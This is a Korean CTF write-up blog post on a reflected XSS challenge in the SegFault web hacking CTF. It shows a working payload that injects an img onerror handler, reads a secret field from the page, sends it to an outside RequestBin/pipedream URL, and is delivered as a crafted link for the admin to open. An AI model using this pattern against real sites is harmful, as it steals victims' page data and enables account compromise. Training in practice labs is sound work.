본문 바로가기
🚩CTF Write up

Basic Script Prac - SegFault Web Hacking CTF Write up

by Prof. Panda 2024. 1. 20.

CTF 문제의 목표

본 CTF 문제는 XSS를 활용하여 타인의 웹 페이지에서 특정 구성요소의 값을 읽을 수 있는 공격기법을 실습하는 것입니다. 필요한 기술과 지식은 다음과 같습니다.

  • XSS에 대한 개념
  • Reflected XSS 공격기법
  • 자바스크립트를 통해 DOM을 활용하여 웹의 특정 구성요소에 접근하는 방법
  • 이미지 태그와 RequestBin을 활용하여 데이터를 전송하는 방법

실습 환경

본 문제는 아래와 같은 환경과 도구를 통해 테스트하였습니다.

  • MacOS
  • Burp Suite

풀이 단계

전체적인 실습 단계는 아래와 같습니다.

  1. XSS 취약점 위치 파악
  2. 페이로드 테스트 및 정보 전송 여부 파악
  3. 페이로드로 제작된 URL을 관리자에게 접근

상세한 문제풀이

1) 회원가입 및 해당 계정으로 로그인합니다. 본 실습에서는 'ctfkill'이라는 아이디로 로그인하였습니다.

2) 첫 번째 위치인 마이페이지에 접근하여 XSS 취약점이 있는지 점검합니다.

3) user라는 파라미터에서 Reflected XSS 취약점이 있는 것을 찾아내었습니다. POC인 alert가 뜨는 것을 확인할 수 있습니다.

페이로드를 URL형태로 주소창에 입력합니다.
alert가 발생하는 것으로 스크립트가 실행되는 것을 확인할 수 있습니다.

4) 공격페이로드를 작성합니다. 페이로드는 아래와 같습니다. 이미지 태그를 생성하여 이벤트를 발생시켜 스크립트를 실행시킵니다.

ctfkill">
<img src=x onerror=
"var secretData=document.getElementsByName('info')[0].placeholder;
var i=new Image();
i.src='requestBin주소'+secretData;

//위 내용을 url형태로 제작하여 아래 한줄로 표현합니다.

http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=ctfkill%22%3E%3Cimg%20src=x%20onerror=%22var%20secretData=document.getElementsByName(%27info%27)[0].placeholder;var%20i=new%20Image();i.src=%27https://engpiobmja68.x.pipedream.net/%27%2bsecretData;

5) 위의 url을 테스트해 보면 RequestBin으로 데이터가 전송되는 것을 볼 수 있습니다. 

6) 해당 url을 관리자가 접근하게 되면 플래그가 전송됩니다.